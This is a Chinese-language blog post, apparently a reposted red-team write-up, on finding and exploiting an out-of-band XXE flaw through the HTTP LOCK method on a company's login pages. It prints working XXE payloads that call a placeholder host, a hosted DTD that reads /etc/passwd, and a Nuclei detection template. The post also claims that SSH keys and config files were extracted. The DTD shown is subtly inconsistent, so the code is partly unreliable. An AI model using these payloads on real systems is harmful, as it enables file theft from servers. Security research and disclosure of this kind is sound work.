首页
学习
活动
专区
圈层
工具
发布
首页
学习
活动
专区
圈层
工具
MCP广场
社区首页 >专栏 >在Wildfire上利用XXE

在Wildfire上利用XXE

作者头像
Khan安全团队
发布2021-03-10 15:56:55
发布2021-03-10 15:56:55
38900
代码可运行
举报
文章被收录于专栏:Khan安全团队Khan安全团队
运行总次数:0
代码可运行

本文将通过HTTP锁定方法介绍我在Red Teaming Engagement期间在中发现的一个有趣的带外XXEProduct Based Company漏洞之一,并大规模利用了该漏洞。

如今手法许多类别、例如网络威胁情报,内部对手模拟,外部对手模拟,社会工程学,深层Web /暗网暴露,OSINT,网络钓鱼等。

此漏洞是在“外部攻击者模拟”类别中发现的,该 类别用来测试Web应用程序和网络资产,以查找关键的服务器端错误,以便我们可以窃取数据以取得初步立足点。

  • Web应用程序渗透部分下有数百个登录页面,并且从Deep / Dark Web Exposure获得的凭据不起作用:(
  • 找到了许多由公司开发给他们的客户的登录页面,以处理双方之间的数据。

步骤1:使用客户端代理(例如Burp Suite)拦截登录请求,如下所示

步骤2:开始检查使用OPTIONS在应用程序中启用的不同HTTP方法

从上图可以看出,应用程序没有任何反应,得到了与GET方法相同的响应。

步骤3:删除login.jsp并提供一个不存在的值(测试)后,它显示了应用程序允许的不同HTTP方法

  • 如果应用程序PROPPATCH,PROPFIND,LOCK启用了HTTP方法,它将接受XML作为输入。

步骤4:尝试了PUT方法并返回了403 forbidden error,但是当我尝试LOCK方法时,它显示了一些XML数据作为输出,如下所示

  • 还提到了OOB-XXE它将与支持XML输入的任何方法一起使用。

步骤5:因此,我开始使用基本有效负载测试OOB-XXE,如下所示

代码语言:javascript
代码运行次数:0
运行
复制
<!DOCTYPE test [<!ENTITY % xxe SYSTEM "http://youripaddress.com"> %xxe; ]>

注意:我们从服务器获得了HTTP和DNS命中。

步骤6:由于是Out-Of-Band XXE,请按照以下步骤设置环境

注意:我们需要将DTD文件托管在Web服务器上。在这里,我们在云上使用了一个简单的Web服务器,将域yourdomainname.com指向服务器的公共IP地址,并将文件托管exploited.dtd在服务器上。

内容exploited.dtd:

代码语言:javascript
代码运行次数:0
运行
复制
<!ENTITY % file SYSTEM "file:///etc/passwd"><!ENTITY % ext "<!ENTITY exfil SYSTEM 'file:///%file;'>">

请求正文发送到易受攻击的URL:

代码语言:javascript
代码运行次数:0
运行
复制
<?xml version="1.0"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY>
<!ENTITY % xxe SYSTEM "http://yourdomainname.com/exploitd.dtd">
%xxe;
%ext;
]>
<foo><u>
&exfil;
</u></foo>

步骤7:现在有趣的事情开始了,我们能够提取并读取不同的目录文件和敏感信息,例如备份文件,配置文件,ssh密钥和访问日志等

  • 由于存在大量子域,因此我们编写了一个核模板来检测此OOB-XXE,如下所示。
代码语言:javascript
代码运行次数:0
运行
复制
id: XXE on XXXX Login

info:
  name: XML External Entity-XXXX
  author: dhiyaneshDk
  severity: high

requests:
  - raw: 
      - |
        LOCK /xxxx/test HTTP/1.1
        Host: 
        User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
        Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
        Accept-Language: en-US,en;q=0.5
        Accept-Encoding: gzip, deflate
        Connection: close
        Upgrade-Insecure-Requests: 1
        Cache-Control: max-age=0
        Content-Length: 178

        <?xml version="1.0"?>
        <!DOCTYPE foo [
        <!ELEMENT foo ANY>
        <!ENTITY % xxe SYSTEM "http://yourdomainname.com/exploitd.dtd">
        %xxe;
        %ext;
        ]>
        <foo><u>
        &exfil
        </u></foo>

    matchers-condition: and
    matchers:
      - type: status
        status:
          - 500
      - type: word
        words:
          - '/root:x:0:0:root:/root:/bin/bash'
        part: body

‍‍

  • 有大约36+实例这是脆弱到XXE和交叉手工检查所有实例。

影响 :

XXE漏洞可能使攻击者将XML解析器转换为代理,该代理允许根据请求提供本地和远程内容。它允许攻击者执行以下操作:

  • 在应用程序服务器上读取文件
  • 与应用程序本身可以访问的任何后端或外部系统进行交互
  • 查看系统中存在的配置文件。
本文参与 腾讯云自媒体同步曝光计划,分享自微信公众号。
原始发表:2021-02-20,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 Khan安全团队 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档